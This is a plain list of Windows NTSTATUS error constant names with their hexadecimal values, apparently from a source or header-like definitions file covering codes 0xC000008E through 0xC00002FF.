STATUS_FLOAT_DIVIDE_BY_ZERO = 0xC000008E
STATUS_FLOAT_INEXACT_RESULT = 0xC000008F
STATUS_FLOAT_INVALID_OPERATION = 0xC0000090
STATUS_FLOAT_OVERFLOW = 0xC0000091
STATUS_FLOAT_STACK_CHECK = 0xC0000092
STATUS_FLOAT_UNDERFLOW = 0xC0000093
STATUS_INTEGER_DIVIDE_BY_ZERO = 0xC0000094
STATUS_INTEGER_OVERFLOW = 0xC0000095
STATUS_PRIVILEGED_INSTRUCTION = 0xC0000096
STATUS_TOO_MANY_PAGING_FILES = 0xC0000097
STATUS_FILE_INVALID = 0xC0000098
STATUS_ALLOTTED_SPACE_EXCEEDED = 0xC0000099
STATUS_INSUFFICIENT_RESOURCES = 0xC000009A
STATUS_DFS_EXIT_PATH_FOUND = 0xC000009B
STATUS_DEVICE_DATA_ERROR = 0xC000009C
STATUS_DEVICE_NOT_CONNECTED = 0xC000009D
STATUS_FREE_VM_NOT_AT_BASE = 0xC000009F
STATUS_MEMORY_NOT_ALLOCATED = 0xC00000A0
STATUS_WORKING_SET_QUOTA = 0xC00000A1
STATUS_MEDIA_WRITE_PROTECTED = 0xC00000A2
STATUS_DEVICE_NOT_READY = 0xC00000A3
STATUS_INVALID_GROUP_ATTRIBUTES = 0xC00000A4
STATUS_BAD_IMPERSONATION_LEVEL = 0xC00000A5
STATUS_CANT_OPEN_ANONYMOUS = 0xC00000A6
STATUS_BAD_VALIDATION_CLASS = 0xC00000A7
STATUS_BAD_TOKEN_TYPE = 0xC00000A8
STATUS_BAD_MASTER_BOOT_RECORD = 0xC00000A9
STATUS_INSTRUCTION_MISALIGNMENT = 0xC00000AA
STATUS_INSTANCE_NOT_AVAILABLE = 0xC00000AB
STATUS_PIPE_NOT_AVAILABLE = 0xC00000AC
STATUS_INVALID_PIPE_STATE = 0xC00000AD
STATUS_PIPE_BUSY = 0xC00000AE
STATUS_ILLEGAL_FUNCTION = 0xC00000AF
STATUS_PIPE_DISCONNECTED = 0xC00000B0
STATUS_PIPE_CLOSING = 0xC00000B1
STATUS_PIPE_CONNECTED = 0xC00000B2
STATUS_PIPE_LISTENING = 0xC00000B3
STATUS_INVALID_READ_MODE = 0xC00000B4
STATUS_IO_TIMEOUT = 0xC00000B5
STATUS_FILE_FORCED_CLOSED = 0xC00000B6
STATUS_PROFILING_NOT_STARTED = 0xC00000B7
STATUS_PROFILING_NOT_STOPPED = 0xC00000B8
STATUS_COULD_NOT_INTERPRET = 0xC00000B9
STATUS_FILE_IS_A_DIRECTORY = 0xC00000BA
STATUS_NOT_SUPPORTED = 0xC00000BB
STATUS_REMOTE_NOT_LISTENING = 0xC00000BC
STATUS_DUPLICATE_NAME = 0xC00000BD
STATUS_BAD_NETWORK_PATH = 0xC00000BE
STATUS_NETWORK_BUSY = 0xC00000BF
STATUS_DEVICE_DOES_NOT_EXIST = 0xC00000C0
STATUS_TOO_MANY_COMMANDS = 0xC00000C1
STATUS_ADAPTER_HARDWARE_ERROR = 0xC00000C2
STATUS_INVALID_NETWORK_RESPONSE = 0xC00000C3
STATUS_UNEXPECTED_NETWORK_ERROR = 0xC00000C4
STATUS_BAD_REMOTE_ADAPTER = 0xC00000C5
STATUS_PRINT_QUEUE_FULL = 0xC00000C6
STATUS_NO_SPOOL_SPACE = 0xC00000C7
STATUS_PRINT_CANCELLED = 0xC00000C8
STATUS_NETWORK_NAME_DELETED = 0xC00000C9
STATUS_NETWORK_ACCESS_DENIED = 0xC00000CA
STATUS_BAD_DEVICE_TYPE = 0xC00000CB
STATUS_BAD_NETWORK_NAME = 0xC00000CC
STATUS_TOO_MANY_NAMES = 0xC00000CD
STATUS_TOO_MANY_SESSIONS = 0xC00000CE
STATUS_SHARING_PAUSED = 0xC00000CF
STATUS_REQUEST_NOT_ACCEPTED = 0xC00000D0
STATUS_REDIRECTOR_PAUSED = 0xC00000D1
STATUS_NET_WRITE_FAULT = 0xC00000D2
STATUS_PROFILING_AT_LIMIT = 0xC00000D3
STATUS_NOT_SAME_DEVICE = 0xC00000D4
STATUS_FILE_RENAMED = 0xC00000D5
STATUS_VIRTUAL_CIRCUIT_CLOSED = 0xC00000D6
STATUS_NO_SECURITY_ON_OBJECT = 0xC00000D7
STATUS_CANT_WAIT = 0xC00000D8
STATUS_PIPE_EMPTY = 0xC00000D9
STATUS_CANT_ACCESS_DOMAIN_INFO = 0xC00000DA
STATUS_CANT_TERMINATE_SELF = 0xC00000DB
STATUS_INVALID_SERVER_STATE = 0xC00000DC
STATUS_INVALID_DOMAIN_STATE = 0xC00000DD
STATUS_INVALID_DOMAIN_ROLE = 0xC00000DE
STATUS_NO_SUCH_DOMAIN = 0xC00000DF
STATUS_DOMAIN_EXISTS = 0xC00000E0
STATUS_DOMAIN_LIMIT_EXCEEDED = 0xC00000E1
STATUS_OPLOCK_NOT_GRANTED = 0xC00000E2
STATUS_INVALID_OPLOCK_PROTOCOL = 0xC00000E3
STATUS_INTERNAL_DB_CORRUPTION = 0xC00000E4
STATUS_INTERNAL_ERROR = 0xC00000E5
STATUS_GENERIC_NOT_MAPPED = 0xC00000E6
STATUS_BAD_DESCRIPTOR_FORMAT = 0xC00000E7
STATUS_INVALID_USER_BUFFER = 0xC00000E8
STATUS_UNEXPECTED_IO_ERROR = 0xC00000E9
STATUS_UNEXPECTED_MM_CREATE_ERR = 0xC00000EA
STATUS_UNEXPECTED_MM_MAP_ERROR = 0xC00000EB
STATUS_UNEXPECTED_MM_EXTEND_ERR = 0xC00000EC
STATUS_NOT_LOGON_PROCESS = 0xC00000ED
STATUS_LOGON_SESSION_EXISTS = 0xC00000EE
STATUS_INVALID_PARAMETER_1 = 0xC00000EF
STATUS_INVALID_PARAMETER_2 = 0xC00000F0
STATUS_INVALID_PARAMETER_3 = 0xC00000F1
STATUS_INVALID_PARAMETER_4 = 0xC00000F2
STATUS_INVALID_PARAMETER_5 = 0xC00000F3
STATUS_INVALID_PARAMETER_6 = 0xC00000F4
STATUS_INVALID_PARAMETER_7 = 0xC00000F5
STATUS_INVALID_PARAMETER_8 = 0xC00000F6
STATUS_INVALID_PARAMETER_9 = 0xC00000F7
STATUS_INVALID_PARAMETER_10 = 0xC00000F8
STATUS_INVALID_PARAMETER_11 = 0xC00000F9
STATUS_INVALID_PARAMETER_12 = 0xC00000FA
STATUS_REDIRECTOR_NOT_STARTED = 0xC00000FB
STATUS_REDIRECTOR_STARTED = 0xC00000FC
STATUS_STACK_OVERFLOW = 0xC00000FD
STATUS_NO_SUCH_PACKAGE = 0xC00000FE
STATUS_BAD_FUNCTION_TABLE = 0xC00000FF
STATUS_VARIABLE_NOT_FOUND = 0xC0000100
STATUS_DIRECTORY_NOT_EMPTY = 0xC0000101
STATUS_FILE_CORRUPT_ERROR = 0xC0000102
STATUS_NOT_A_DIRECTORY = 0xC0000103
STATUS_BAD_LOGON_SESSION_STATE = 0xC0000104
STATUS_LOGON_SESSION_COLLISION = 0xC0000105
STATUS_NAME_TOO_LONG = 0xC0000106
STATUS_FILES_OPEN = 0xC0000107
STATUS_CONNECTION_IN_USE = 0xC0000108
STATUS_MESSAGE_NOT_FOUND = 0xC0000109
STATUS_PROCESS_IS_TERMINATING = 0xC000010A
STATUS_INVALID_LOGON_TYPE = 0xC000010B
STATUS_NO_GUID_TRANSLATION = 0xC000010C
STATUS_CANNOT_IMPERSONATE = 0xC000010D
STATUS_IMAGE_ALREADY_LOADED = 0xC000010E
STATUS_NO_LDT = 0xC0000117
STATUS_INVALID_LDT_SIZE = 0xC0000118
STATUS_INVALID_LDT_OFFSET = 0xC0000119
STATUS_INVALID_LDT_DESCRIPTOR = 0xC000011A
STATUS_INVALID_IMAGE_NE_FORMAT = 0xC000011B
STATUS_RXACT_INVALID_STATE = 0xC000011C
STATUS_RXACT_COMMIT_FAILURE = 0xC000011D
STATUS_MAPPED_FILE_SIZE_ZERO = 0xC000011E
STATUS_TOO_MANY_OPENED_FILES = 0xC000011F
STATUS_CANCELLED = 0xC0000120
STATUS_CANNOT_DELETE = 0xC0000121
STATUS_INVALID_COMPUTER_NAME = 0xC0000122
STATUS_FILE_DELETED = 0xC0000123
STATUS_SPECIAL_ACCOUNT = 0xC0000124
STATUS_SPECIAL_GROUP = 0xC0000125
STATUS_SPECIAL_USER = 0xC0000126
STATUS_MEMBERS_PRIMARY_GROUP = 0xC0000127
STATUS_FILE_CLOSED = 0xC0000128
STATUS_TOO_MANY_THREADS = 0xC0000129
STATUS_THREAD_NOT_IN_PROCESS = 0xC000012A
STATUS_TOKEN_ALREADY_IN_USE = 0xC000012B
STATUS_PAGEFILE_QUOTA_EXCEEDED = 0xC000012C
STATUS_COMMITMENT_LIMIT = 0xC000012D
STATUS_INVALID_IMAGE_LE_FORMAT = 0xC000012E
STATUS_INVALID_IMAGE_NOT_MZ = 0xC000012F
STATUS_INVALID_IMAGE_PROTECT = 0xC0000130
STATUS_INVALID_IMAGE_WIN_16 = 0xC0000131
STATUS_LOGON_SERVER_CONFLICT = 0xC0000132
STATUS_TIME_DIFFERENCE_AT_DC = 0xC0000133
STATUS_SYNCHRONIZATION_REQUIRED = 0xC0000134
STATUS_DLL_NOT_FOUND = 0xC0000135
STATUS_OPEN_FAILED = 0xC0000136
STATUS_IO_PRIVILEGE_FAILED = 0xC0000137
STATUS_ORDINAL_NOT_FOUND = 0xC0000138
STATUS_ENTRYPOINT_NOT_FOUND = 0xC0000139
STATUS_CONTROL_C_EXIT = 0xC000013A
STATUS_LOCAL_DISCONNECT = 0xC000013B
STATUS_REMOTE_DISCONNECT = 0xC000013C
STATUS_REMOTE_RESOURCES = 0xC000013D
STATUS_LINK_FAILED = 0xC000013E
STATUS_LINK_TIMEOUT = 0xC000013F
STATUS_INVALID_CONNECTION = 0xC0000140
STATUS_INVALID_ADDRESS = 0xC0000141
STATUS_DLL_INIT_FAILED = 0xC0000142
STATUS_MISSING_SYSTEMFILE = 0xC0000143
STATUS_UNHANDLED_EXCEPTION = 0xC0000144
STATUS_APP_INIT_FAILURE = 0xC0000145
STATUS_PAGEFILE_CREATE_FAILED = 0xC0000146
STATUS_NO_PAGEFILE = 0xC0000147
STATUS_INVALID_LEVEL = 0xC0000148
STATUS_WRONG_PASSWORD_CORE = 0xC0000149
STATUS_ILLEGAL_FLOAT_CONTEXT = 0xC000014A
STATUS_PIPE_BROKEN = 0xC000014B
STATUS_REGISTRY_CORRUPT = 0xC000014C
STATUS_REGISTRY_IO_FAILED = 0xC000014D
STATUS_NO_EVENT_PAIR = 0xC000014E
STATUS_UNRECOGNIZED_VOLUME = 0xC000014F
STATUS_SERIAL_NO_DEVICE_INITED = 0xC0000150
STATUS_NO_SUCH_ALIAS = 0xC0000151
STATUS_MEMBER_NOT_IN_ALIAS = 0xC0000152
STATUS_MEMBER_IN_ALIAS = 0xC0000153
STATUS_ALIAS_EXISTS = 0xC0000154
STATUS_LOGON_NOT_GRANTED = 0xC0000155
STATUS_TOO_MANY_SECRETS = 0xC0000156
STATUS_SECRET_TOO_LONG = 0xC0000157
STATUS_INTERNAL_DB_ERROR = 0xC0000158
STATUS_FULLSCREEN_MODE = 0xC0000159
STATUS_TOO_MANY_CONTEXT_IDS = 0xC000015A
STATUS_LOGON_TYPE_NOT_GRANTED = 0xC000015B
STATUS_NOT_REGISTRY_FILE = 0xC000015C
STATUS_NT_CROSS_ENCRYPTION_REQUIRED = 0xC000015D
STATUS_DOMAIN_CTRLR_CONFIG_ERROR = 0xC000015E
STATUS_FT_MISSING_MEMBER = 0xC000015F
STATUS_ILL_FORMED_SERVICE_ENTRY = 0xC0000160
STATUS_ILLEGAL_CHARACTER = 0xC0000161
STATUS_UNMAPPABLE_CHARACTER = 0xC0000162
STATUS_UNDEFINED_CHARACTER = 0xC0000163
STATUS_FLOPPY_VOLUME = 0xC0000164
STATUS_FLOPPY_ID_MARK_NOT_FOUND = 0xC0000165
STATUS_FLOPPY_WRONG_CYLINDER = 0xC0000166
STATUS_FLOPPY_UNKNOWN_ERROR = 0xC0000167
STATUS_FLOPPY_BAD_REGISTERS = 0xC0000168
STATUS_DISK_RECALIBRATE_FAILED = 0xC0000169
STATUS_DISK_OPERATION_FAILED = 0xC000016A
STATUS_DISK_RESET_FAILED = 0xC000016B
STATUS_SHARED_IRQ_BUSY = 0xC000016C
STATUS_FT_ORPHANING = 0xC000016D
STATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT = 0xC000016E
STATUS_PARTITION_FAILURE = 0xC0000172
STATUS_INVALID_BLOCK_LENGTH = 0xC0000173
STATUS_DEVICE_NOT_PARTITIONED = 0xC0000174
STATUS_UNABLE_TO_LOCK_MEDIA = 0xC0000175
STATUS_UNABLE_TO_UNLOAD_MEDIA = 0xC0000176
STATUS_EOM_OVERFLOW = 0xC0000177
STATUS_NO_MEDIA = 0xC0000178
STATUS_NO_SUCH_MEMBER = 0xC000017A
STATUS_INVALID_MEMBER = 0xC000017B
STATUS_KEY_DELETED = 0xC000017C
STATUS_NO_LOG_SPACE = 0xC000017D
STATUS_TOO_MANY_SIDS = 0xC000017E
STATUS_LM_CROSS_ENCRYPTION_REQUIRED = 0xC000017F
STATUS_KEY_HAS_CHILDREN = 0xC0000180
STATUS_CHILD_MUST_BE_VOLATILE = 0xC0000181
STATUS_DEVICE_CONFIGURATION_ERROR = 0xC0000182
STATUS_DRIVER_INTERNAL_ERROR = 0xC0000183
STATUS_INVALID_DEVICE_STATE = 0xC0000184
STATUS_IO_DEVICE_ERROR = 0xC0000185
STATUS_DEVICE_PROTOCOL_ERROR = 0xC0000186
STATUS_BACKUP_CONTROLLER = 0xC0000187
STATUS_LOG_FILE_FULL = 0xC0000188
STATUS_TOO_LATE = 0xC0000189
STATUS_NO_TRUST_LSA_SECRET = 0xC000018A
STATUS_NO_TRUST_SAM_ACCOUNT = 0xC000018B
STATUS_TRUSTED_DOMAIN_FAILURE = 0xC000018C
STATUS_TRUSTED_RELATIONSHIP_FAILURE = 0xC000018D
STATUS_EVENTLOG_FILE_CORRUPT = 0xC000018E
STATUS_EVENTLOG_CANT_START = 0xC000018F
STATUS_TRUST_FAILURE = 0xC0000190
STATUS_MUTANT_LIMIT_EXCEEDED = 0xC0000191
STATUS_NETLOGON_NOT_STARTED = 0xC0000192
STATUS_ACCOUNT_EXPIRED = 0xC0000193
STATUS_POSSIBLE_DEADLOCK = 0xC0000194
STATUS_NETWORK_CREDENTIAL_CONFLICT = 0xC0000195
STATUS_REMOTE_SESSION_LIMIT = 0xC0000196
STATUS_EVENTLOG_FILE_CHANGED = 0xC0000197
STATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 0xC0000198
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 0xC0000199
STATUS_NOLOGON_SERVER_TRUST_ACCOUNT = 0xC000019A
STATUS_DOMAIN_TRUST_INCONSISTENT = 0xC000019B
STATUS_FS_DRIVER_REQUIRED = 0xC000019C
STATUS_IMAGE_ALREADY_LOADED_AS_DLL = 0xC000019D
STATUS_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING = 0xC000019E
STATUS_SHORT_NAMES_NOT_ENABLED_ON_VOLUME = 0xC000019F
STATUS_SECURITY_STREAM_IS_INCONSISTENT = 0xC00001A0
STATUS_INVALID_LOCK_RANGE = 0xC00001A1
STATUS_INVALID_ACE_CONDITION = 0xC00001A2
STATUS_IMAGE_SUBSYSTEM_NOT_PRESENT = 0xC00001A3
STATUS_NOTIFICATION_GUID_ALREADY_DEFINED = 0xC00001A4
STATUS_NETWORK_OPEN_RESTRICTION = 0xC0000201
STATUS_NO_USER_SESSION_KEY = 0xC0000202
STATUS_USER_SESSION_DELETED = 0xC0000203
STATUS_RESOURCE_LANG_NOT_FOUND = 0xC0000204
STATUS_INSUFF_SERVER_RESOURCES = 0xC0000205
STATUS_INVALID_BUFFER_SIZE = 0xC0000206
STATUS_INVALID_ADDRESS_COMPONENT = 0xC0000207
STATUS_INVALID_ADDRESS_WILDCARD = 0xC0000208
STATUS_TOO_MANY_ADDRESSES = 0xC0000209
STATUS_ADDRESS_ALREADY_EXISTS = 0xC000020A
STATUS_ADDRESS_CLOSED = 0xC000020B
STATUS_CONNECTION_DISCONNECTED = 0xC000020C
STATUS_CONNECTION_RESET = 0xC000020D
STATUS_TOO_MANY_NODES = 0xC000020E
STATUS_TRANSACTION_ABORTED = 0xC000020F
STATUS_TRANSACTION_TIMED_OUT = 0xC0000210
STATUS_TRANSACTION_NO_RELEASE = 0xC0000211
STATUS_TRANSACTION_NO_MATCH = 0xC0000212
STATUS_TRANSACTION_RESPONDED = 0xC0000213
STATUS_TRANSACTION_INVALID_ID = 0xC0000214
STATUS_TRANSACTION_INVALID_TYPE = 0xC0000215
STATUS_NOT_SERVER_SESSION = 0xC0000216
STATUS_NOT_CLIENT_SESSION = 0xC0000217
STATUS_CANNOT_LOAD_REGISTRY_FILE = 0xC0000218
STATUS_DEBUG_ATTACH_FAILED = 0xC0000219
STATUS_SYSTEM_PROCESS_TERMINATED = 0xC000021A
STATUS_DATA_NOT_ACCEPTED = 0xC000021B
STATUS_NO_BROWSER_SERVERS_FOUND = 0xC000021C
STATUS_VDM_HARD_ERROR = 0xC000021D
STATUS_DRIVER_CANCEL_TIMEOUT = 0xC000021E
STATUS_REPLY_MESSAGE_MISMATCH = 0xC000021F
STATUS_MAPPED_ALIGNMENT = 0xC0000220
STATUS_IMAGE_CHECKSUM_MISMATCH = 0xC0000221
STATUS_LOST_WRITEBEHIND_DATA = 0xC0000222
STATUS_CLIENT_SERVER_PARAMETERS_INVALID = 0xC0000223
STATUS_PASSWORD_MUST_CHANGE = 0xC0000224
STATUS_NOT_FOUND = 0xC0000225
STATUS_NOT_TINY_STREAM = 0xC0000226
STATUS_RECOVERY_FAILURE = 0xC0000227
STATUS_STACK_OVERFLOW_READ = 0xC0000228
STATUS_FAIL_CHECK = 0xC0000229
STATUS_DUPLICATE_OBJECTID = 0xC000022A
STATUS_OBJECTID_EXISTS = 0xC000022B
STATUS_CONVERT_TO_LARGE = 0xC000022C
STATUS_RETRY = 0xC000022D
STATUS_FOUND_OUT_OF_SCOPE = 0xC000022E
STATUS_ALLOCATE_BUCKET = 0xC000022F
STATUS_PROPSET_NOT_FOUND = 0xC0000230
STATUS_MARSHALL_OVERFLOW = 0xC0000231
STATUS_INVALID_VARIANT = 0xC0000232
STATUS_DOMAIN_CONTROLLER_NOT_FOUND = 0xC0000233
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
STATUS_HANDLE_NOT_CLOSABLE = 0xC0000235
STATUS_CONNECTION_REFUSED = 0xC0000236
STATUS_GRACEFUL_DISCONNECT = 0xC0000237
STATUS_ADDRESS_ALREADY_ASSOCIATED = 0xC0000238
STATUS_ADDRESS_NOT_ASSOCIATED = 0xC0000239
STATUS_CONNECTION_INVALID = 0xC000023A
STATUS_CONNECTION_ACTIVE = 0xC000023B
STATUS_NETWORK_UNREACHABLE = 0xC000023C
STATUS_HOST_UNREACHABLE = 0xC000023D
STATUS_PROTOCOL_UNREACHABLE = 0xC000023E
STATUS_PORT_UNREACHABLE = 0xC000023F
STATUS_REQUEST_ABORTED = 0xC0000240
STATUS_CONNECTION_ABORTED = 0xC0000241
STATUS_BAD_COMPRESSION_BUFFER = 0xC0000242
STATUS_USER_MAPPED_FILE = 0xC0000243
STATUS_AUDIT_FAILED = 0xC0000244
STATUS_TIMER_RESOLUTION_NOT_SET = 0xC0000245
STATUS_CONNECTION_COUNT_LIMIT = 0xC0000246
STATUS_LOGIN_TIME_RESTRICTION = 0xC0000247
STATUS_LOGIN_WKSTA_RESTRICTION = 0xC0000248
STATUS_IMAGE_MP_UP_MISMATCH = 0xC0000249
STATUS_INSUFFICIENT_LOGON_INFO = 0xC0000250
STATUS_BAD_DLL_ENTRYPOINT = 0xC0000251
STATUS_BAD_SERVICE_ENTRYPOINT = 0xC0000252
STATUS_LPC_REPLY_LOST = 0xC0000253
STATUS_IP_ADDRESS_CONFLICT1 = 0xC0000254
STATUS_IP_ADDRESS_CONFLICT2 = 0xC0000255
STATUS_REGISTRY_QUOTA_LIMIT = 0xC0000256
STATUS_PATH_NOT_COVERED = 0xC0000257
STATUS_NO_CALLBACK_ACTIVE = 0xC0000258
STATUS_LICENSE_QUOTA_EXCEEDED = 0xC0000259
STATUS_PWD_TOO_SHORT = 0xC000025A
STATUS_PWD_TOO_RECENT = 0xC000025B
STATUS_PWD_HISTORY_CONFLICT = 0xC000025C
STATUS_PLUGPLAY_NO_DEVICE = 0xC000025E
STATUS_UNSUPPORTED_COMPRESSION = 0xC000025F
STATUS_INVALID_HW_PROFILE = 0xC0000260
STATUS_INVALID_PLUGPLAY_DEVICE_PATH = 0xC0000261
STATUS_DRIVER_ORDINAL_NOT_FOUND = 0xC0000262
STATUS_DRIVER_ENTRYPOINT_NOT_FOUND = 0xC0000263
STATUS_RESOURCE_NOT_OWNED = 0xC0000264
STATUS_TOO_MANY_LINKS = 0xC0000265
STATUS_QUOTA_LIST_INCONSISTENT = 0xC0000266
STATUS_FILE_IS_OFFLINE = 0xC0000267
STATUS_EVALUATION_EXPIRATION = 0xC0000268
STATUS_ILLEGAL_DLL_RELOCATION = 0xC0000269
STATUS_LICENSE_VIOLATION = 0xC000026A
STATUS_DLL_INIT_FAILED_LOGOFF = 0xC000026B
STATUS_DRIVER_UNABLE_TO_LOAD = 0xC000026C
STATUS_DFS_UNAVAILABLE = 0xC000026D
STATUS_VOLUME_DISMOUNTED = 0xC000026E
STATUS_WX86_INTERNAL_ERROR = 0xC000026F
STATUS_WX86_FLOAT_STACK_CHECK = 0xC0000270
STATUS_VALIDATE_CONTINUE = 0xC0000271
STATUS_NO_MATCH = 0xC0000272
STATUS_NO_MORE_MATCHES = 0xC0000273
STATUS_NOT_A_REPARSE_POINT = 0xC0000275
STATUS_IO_REPARSE_TAG_INVALID = 0xC0000276
STATUS_IO_REPARSE_TAG_MISMATCH = 0xC0000277
STATUS_IO_REPARSE_DATA_INVALID = 0xC0000278
STATUS_IO_REPARSE_TAG_NOT_HANDLED = 0xC0000279
STATUS_REPARSE_POINT_NOT_RESOLVED = 0xC0000280
STATUS_DIRECTORY_IS_A_REPARSE_POINT = 0xC0000281
STATUS_RANGE_LIST_CONFLICT = 0xC0000282
STATUS_SOURCE_ELEMENT_EMPTY = 0xC0000283
STATUS_DESTINATION_ELEMENT_FULL = 0xC0000284
STATUS_ILLEGAL_ELEMENT_ADDRESS = 0xC0000285
STATUS_MAGAZINE_NOT_PRESENT = 0xC0000286
STATUS_REINITIALIZATION_NEEDED = 0xC0000287
STATUS_ENCRYPTION_FAILED = 0xC000028A
STATUS_DECRYPTION_FAILED = 0xC000028B
STATUS_RANGE_NOT_FOUND = 0xC000028C
STATUS_NO_RECOVERY_POLICY = 0xC000028D
STATUS_NO_EFS = 0xC000028E
STATUS_WRONG_EFS = 0xC000028F
STATUS_NO_USER_KEYS = 0xC0000290
STATUS_FILE_NOT_ENCRYPTED = 0xC0000291
STATUS_NOT_EXPORT_FORMAT = 0xC0000292
STATUS_FILE_ENCRYPTED = 0xC0000293
STATUS_WMI_GUID_NOT_FOUND = 0xC0000295
STATUS_WMI_INSTANCE_NOT_FOUND = 0xC0000296
STATUS_WMI_ITEMID_NOT_FOUND = 0xC0000297
STATUS_WMI_TRY_AGAIN = 0xC0000298
STATUS_SHARED_POLICY = 0xC0000299
STATUS_POLICY_OBJECT_NOT_FOUND = 0xC000029A
STATUS_POLICY_ONLY_IN_DS = 0xC000029B
STATUS_VOLUME_NOT_UPGRADED = 0xC000029C
STATUS_REMOTE_STORAGE_NOT_ACTIVE = 0xC000029D
STATUS_REMOTE_STORAGE_MEDIA_ERROR = 0xC000029E
STATUS_NO_TRACKING_SERVICE = 0xC000029F
STATUS_SERVER_SID_MISMATCH = 0xC00002A0
STATUS_DS_NO_ATTRIBUTE_OR_VALUE = 0xC00002A1
STATUS_DS_INVALID_ATTRIBUTE_SYNTAX = 0xC00002A2
STATUS_DS_ATTRIBUTE_TYPE_UNDEFINED = 0xC00002A3
STATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS = 0xC00002A4
STATUS_DS_BUSY = 0xC00002A5
STATUS_DS_UNAVAILABLE = 0xC00002A6
STATUS_DS_NO_RIDS_ALLOCATED = 0xC00002A7
STATUS_DS_NO_MORE_RIDS = 0xC00002A8
STATUS_DS_INCORRECT_ROLE_OWNER = 0xC00002A9
STATUS_DS_RIDMGR_INIT_ERROR = 0xC00002AA
STATUS_DS_OBJ_CLASS_VIOLATION = 0xC00002AB
STATUS_DS_CANT_ON_NON_LEAF = 0xC00002AC
STATUS_DS_CANT_ON_RDN = 0xC00002AD
STATUS_DS_CANT_MOD_OBJ_CLASS = 0xC00002AE
STATUS_DS_CROSS_DOM_MOVE_FAILED = 0xC00002AF
STATUS_DS_GC_NOT_AVAILABLE = 0xC00002B0
STATUS_DIRECTORY_SERVICE_REQUIRED = 0xC00002B1
STATUS_REPARSE_ATTRIBUTE_CONFLICT = 0xC00002B2
STATUS_CANT_ENABLE_DENY_ONLY = 0xC00002B3
STATUS_FLOAT_MULTIPLE_FAULTS = 0xC00002B4
STATUS_FLOAT_MULTIPLE_TRAPS = 0xC00002B5
STATUS_DEVICE_REMOVED = 0xC00002B6
STATUS_JOURNAL_DELETE_IN_PROGRESS = 0xC00002B7
STATUS_JOURNAL_NOT_ACTIVE = 0xC00002B8
STATUS_NOINTERFACE = 0xC00002B9
STATUS_DS_ADMIN_LIMIT_EXCEEDED = 0xC00002C1
STATUS_DRIVER_FAILED_SLEEP = 0xC00002C2
STATUS_MUTUAL_AUTHENTICATION_FAILED = 0xC00002C3
STATUS_CORRUPT_SYSTEM_FILE = 0xC00002C4
STATUS_DATATYPE_MISALIGNMENT_ERROR = 0xC00002C5
STATUS_WMI_READ_ONLY = 0xC00002C6
STATUS_WMI_SET_FAILURE = 0xC00002C7
STATUS_COMMITMENT_MINIMUM = 0xC00002C8
STATUS_REG_NAT_CONSUMPTION = 0xC00002C9
STATUS_TRANSPORT_FULL = 0xC00002CA
STATUS_DS_SAM_INIT_FAILURE = 0xC00002CB
STATUS_ONLY_IF_CONNECTED = 0xC00002CC
STATUS_DS_SENSITIVE_GROUP_VIOLATION = 0xC00002CD
STATUS_PNP_RESTART_ENUMERATION = 0xC00002CE
STATUS_JOURNAL_ENTRY_DELETED = 0xC00002CF
STATUS_DS_CANT_MOD_PRIMARYGROUPID = 0xC00002D0
STATUS_SYSTEM_IMAGE_BAD_SIGNATURE = 0xC00002D1
STATUS_PNP_REBOOT_REQUIRED = 0xC00002D2
STATUS_POWER_STATE_INVALID = 0xC00002D3
STATUS_DS_INVALID_GROUP_TYPE = 0xC00002D4
STATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN = 0xC00002D5
STATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN = 0xC00002D6
STATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER = 0xC00002D7
STATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER = 0xC00002D8
STATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER = 0xC00002D9
STATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER = 0xC00002DA
STATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER = 0xC00002DB
STATUS_DS_HAVE_PRIMARY_MEMBERS = 0xC00002DC
STATUS_WMI_NOT_SUPPORTED = 0xC00002DD
STATUS_INSUFFICIENT_POWER = 0xC00002DE
STATUS_SAM_NEED_BOOTKEY_PASSWORD = 0xC00002DF
STATUS_SAM_NEED_BOOTKEY_FLOPPY = 0xC00002E0
STATUS_DS_CANT_START = 0xC00002E1
STATUS_DS_INIT_FAILURE = 0xC00002E2
STATUS_SAM_INIT_FAILURE = 0xC00002E3
STATUS_DS_GC_REQUIRED = 0xC00002E4
STATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY = 0xC00002E5
STATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS = 0xC00002E6
STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED = 0xC00002E7
STATUS_CURRENT_DOMAIN_NOT_ALLOWED = 0xC00002E9
STATUS_CANNOT_MAKE = 0xC00002EA
STATUS_SYSTEM_SHUTDOWN = 0xC00002EB
STATUS_DS_INIT_FAILURE_CONSOLE = 0xC00002EC
STATUS_DS_SAM_INIT_FAILURE_CONSOLE = 0xC00002ED
STATUS_UNFINISHED_CONTEXT_DELETED = 0xC00002EE
STATUS_NO_TGT_REPLY = 0xC00002EF
STATUS_OBJECTID_NOT_FOUND = 0xC00002F0
STATUS_NO_IP_ADDRESSES = 0xC00002F1
STATUS_WRONG_CREDENTIAL_HANDLE = 0xC00002F2
STATUS_CRYPTO_SYSTEM_INVALID = 0xC00002F3
STATUS_MAX_REFERRALS_EXCEEDED = 0xC00002F4
STATUS_MUST_BE_KDC = 0xC00002F5
STATUS_STRONG_CRYPTO_NOT_SUPPORTED = 0xC00002F6
STATUS_TOO_MANY_PRINCIPALS = 0xC00002F7
STATUS_NO_PA_DATA = 0xC00002F8
STATUS_PKINIT_NAME_MISMATCH = 0xC00002F9
STATUS_SMARTCARD_LOGON_REQUIRED = 0xC00002FA
STATUS_KDC_INVALID_REQUEST = 0xC00002FB
STATUS_KDC_UNABLE_TO_REFER = 0xC00002FC
STATUS_KDC_UNKNOWN_ETYPE = 0xC00002FD
STATUS_SHUTDOWN_IN_PROGRESS = 0xC00002FE
STATUS_SERVER_SHUTDOWN_IN_PROGRESS = 0xC00002FF
